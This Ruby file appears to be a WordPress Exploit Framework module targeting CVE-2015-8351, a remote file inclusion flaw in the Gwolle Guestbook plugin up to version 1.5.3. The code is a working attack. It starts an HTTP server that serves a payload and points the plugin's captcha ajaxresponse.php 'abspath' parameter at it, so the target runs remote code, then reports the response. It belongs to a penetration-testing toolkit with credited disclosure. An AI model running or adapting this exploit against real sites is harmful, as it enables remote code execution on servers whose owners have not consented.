# frozen_string_literal: true

class Wpxf::Exploit::GwolleGuestbookRemoteFileInclusion < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpServer

  def initialize
    super

    update_info(
      name: 'Gwolle Guestbook Remote File Inclusion',
      desc: 'The Gwolle Guestbook plugin, in versions 1.5.3 and below, '\
            'allows for remote file inclusion and remote code execution. '\
            'This exploit only works when the PHP option "allow_url_include" '\
            'is enabled (disabled by default).',
      author: [
        'High-Tech Bridge Security Research Lab', # Vulnerability disclosure
        'rastating'                               # WPXF module
      ],
      references: [
        ['CVE', '2015-8351'],
        ['EDB', '38861']
      ],
      date: 'Nov 04 2015'
    )

    register_options([
      StringOption.new(
        name: 'rfi_host',
        desc: 'The address of the host listening for a connection',
        required: true
      ),
      StringOption.new(
        name: 'rfi_path',
        desc: 'The path to access via the remote file inclusion request',
        default: Utility::Text.rand_alpha(8),
        required: true
      )
    ])
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'gwolle-gb')
  end

  def check
    check_plugin_version_from_readme('gwolle-gb', '1.5.4')
  end

  def rfi_host
    normalized_option_value('rfi_host')
  end

  def rfi_path
    normalized_option_value('rfi_path')
  end

  def rfi_url
    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}"
  end

  def on_http_request(path, params, headers)
    payload.encoded
  end

  def vulnerable_url
    normalize_uri(plugin_url, 'frontend', 'captcha', 'ajaxresponse.php')
  end

  def run
    return false unless super

    start_http_server(true)

    emit_info 'Executing request...'
    res = execute_get_request(
      url: vulnerable_url,
      params: { 'abspath' => rfi_url }
    )
    stop_http_server

    emit_info "Response code: #{res.code}", true
    emit_info "Response body: #{res.body}", true

    if res.body =~ /allow_url_include/
      emit_error 'allow_url_include appears to be disabled'
      return false
    end

    if res && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    true
  end
end
